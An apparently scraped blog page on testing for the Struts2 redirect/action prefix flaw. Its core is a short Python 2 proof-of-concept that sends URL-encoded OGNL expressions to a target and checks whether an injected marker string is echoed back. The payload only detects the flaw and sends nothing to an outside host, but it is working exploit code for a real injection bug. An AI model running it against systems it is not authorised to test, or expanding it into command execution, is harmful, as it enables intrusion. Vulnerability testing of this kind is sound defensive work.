zoukankan      html  css  js  c++  java
  • struts2漏洞以及测试

    # coding: utf-8
    import string
    import random
    import urllib
    
    
    def poc(url):
        bait = "".join(random.sample(list(string.letters), 32))
    
        poc = urllib.quote("%{")
        poc += urllib.quote("#test_str=new java.lang.String('{0}'),".format(bait))
        poc += urllib.quote("#a_resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),")
        poc += urllib.quote("#a_resp.getWriter().println(#test_str),")
        poc += urllib.quote("#a_resp.getWriter().flush(),")
        poc += urllib.quote("#a_resp.getWriter().close()")
        poc += urllib.quote("}")
    
        for prefix in ["action:", "redirect:", "redirectAction:"]:
            if bait in urllib.urlopen("{0}?{1}{2}".format(url, prefix, poc)).read():
                return True
    
        return False
    
    
    if __name__ == "__main__":
        import sys
        print poc(sys.argv[1])
  • 相关阅读:
    hbase scan超时问题
    hadoop的shuffle和排序
    MapReduce作业的调度
    hadoop hdfs问题集锦
    JVM--双亲委派机制
    springboot快速搭建
    CircleView
    TabHost实现底部导航栏
    GridView的stretchMode属性
    Android直连SQL Server数据库
  • 原文地址:https://www.cnblogs.com/jiancanxuepiao/p/3198376.html
Copyright © 2011-2022 走看看